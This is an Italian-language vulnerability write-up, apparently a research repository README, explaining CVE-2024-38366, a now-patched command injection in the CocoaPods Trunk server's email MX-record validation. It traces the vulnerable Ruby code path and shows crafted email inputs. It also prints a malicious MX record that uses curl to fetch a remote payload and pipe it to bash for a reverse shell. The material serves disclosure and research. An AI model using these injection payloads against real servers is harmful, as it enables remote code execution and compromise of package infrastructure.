reefspek/cocoapods-rce_cve-2024-38366Vulnerabilità RCE di CocoaPods CVE-2024-38366
Questo repository include un approfondimento sul processo di ricerca e sulle riflessioni alla base della vulnerabilità RCE scoperta durante la ricerca e l'analisi del CocoaPods Package Manager.
Il post del blog con la pubblicazione della ricerca può essere letto qui: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
Il CocoaPods Trunk Server funge da repository centralizzato e piattaforma di distribuzione per CocoaPods, librerie essenziali e framework utilizzati nell'ecosistema Apple, in particolare per lo sviluppo iOS e macOS. Il suo scopo principale è facilitare la condivisione e la gestione senza attriti di queste risorse open-source.
Il processo di registrazione degli sviluppatori presso il CocoaPods Trunk Server prevede i seguenti passaggi per garantire la sicurezza della piattaforma:
L'ultima release di trunk.cocoapods.org (ramo master) è stata testata e validata nell'ambiente di produzione al momento della ricerca. La vulnerabilità è stata da allora corretta tramite patch e non è più sfruttabile.
La causa principale della vulnerabilità risiede nella verifica insufficiente del passo di validazione del dominio dell'indirizzo email (durante il processo di registrazione dello sviluppatore) e nell'esecuzione non sicura dei comandi. Nello specifico, un attaccante può manipolare l'input in modo tale da bypassare la validazione dei record Mail Exchanger (MX) del dominio, ottenendo la capacità di iniettare ed eseguire comandi OS arbitrari sul server Trunk.
Questa situazione rappresenta una grave minaccia per la sicurezza della piattaforma, poiché consente a soggetti non autorizzati di compromettere potenzialmente l'integrità del server, la riservatezza dei dati memorizzati e di interromperne le operazioni.
APP/CONTROLLERS/APP_CONTROLLER.RB
Il file App Controller definisce gli endpoint API del server Trunk, inclusa la SessionsContoller, servita tramite il percorso /api/v1/sessions.
APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
Per generare una nuova sessione, il file Session Controller espone l'endpoint API HTTP POST – /api/v1/sessions.
L'endpoint elabora i dettagli di registrazione forniti dall'utente, inclusi i parametri "email", "name" e "description". Successivamente, chiama il metodo Owner.find_or_initialize_by_email_and_name.
La chiamata alla funzione include i valori dei parametri "email" e "name".
APP/MODELS/OWNER.RB
Il file Owner Model definisce il metodo find_or_initialize_by_email_and_name che verifica se l'email fornita esiste. In caso contrario, crea un nuovo oggetto Owner utilizzando i parametri sopra menzionati.
Non appena l'oggetto viene creato, e prima di memorizzarlo nel database, il framework Sequel esegue il metodo validate. Questo metodo include molteplici validazioni, presenti nel pacchetto RFC-822.
Ci siamo concentrati sull'esecuzione del metodo validates_mx_record, che utilizza il pacchetto RFC-822.
RFC-822/LIB/RFC822.RB
La libreria implementa il metodo mx_records per verificare se il dominio fornito è valido. Inoltre, implementa una validazione della reattività dei record MX utilizzando il comando host.
Il metodo confronta prima l'intero indirizzo email con il pattern Regex definito – verifica se l'email fornita corrisponde al pattern. Se il pattern non corrisponde, il metodo restituisce un valore vuoto e non procede ai controlli attivi tramite il comando host.
Il metodo mx_records chiama quindi il metodo raw_mx_records che manipola il valore dell'email – estrae solo la parte del dominio (tutto ciò che segue l'ultimo ‘@’) – e chiama il metodo host_mx utilizzando il dominio ripulito come valore del proprio parametro.
Il metodo host_mx esegue un comando OS arbitrario, concatenandolo con il dominio dell'email fornita dall'utente.
Il comando finale eseguito è il seguente:
/usr/bin/env host -t MX <DOMAIN>
Per avviare lo sfruttamento della vulnerabilità, abbiamo effettuato una richiesta HTTP POST all'endpoint API /api/v1/sessions. Nel corpo della richiesta, abbiamo fornito un input manipolato.
L'obiettivo principale era innescare il processo di validazione dei record MX, che avrebbe infine portato alla valutazione ed esecuzione del nostro input utente malevolo, con conseguente esecuzione di comandi OS sul server trunk.
Per raggiungere il nostro obiettivo e stabilire una reverse shell completamente interattiva, abbiamo dovuto superare alcune sfide:
reef<span>@evasec.io|curl{IFS}evasec.io non sarebbe efficace, poiché il server lo elaborerebbe in minuscolo.reef<span>@evasec.io|{curl,evasec.io} non funzionerebbe a causa della presenza dei seguenti caratteri che la libreria eliminerebbe:
"“ “" (space)"().,<>@[]Per portare a termine la nostra missione, dovevamo superare il muro in cui ci eravamo imbattuti.
Abbiamo scoperto che il comando /usr/bin/env host -t MX <DOMAIN> fornisce un output che possiamo controllare, consentendoci di bypassare queste sfide.
L'output può essere sfruttato reindirizzandolo tramite pipe a un comando bash, creando un'opportunità per l'esecuzione di codice.
Ad esempio:
/usr/bin/env host -t MX <DOMAIN> | bash
Abbiamo manipolato un record MX sul nostro dominio, gestito tramite Route53 su AWS. Il record MX contiene la seguente stringa valida:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
Obiettivo: Il payload creato era stato impostato per essere eseguito durante la validazione del dominio tramite il comando host.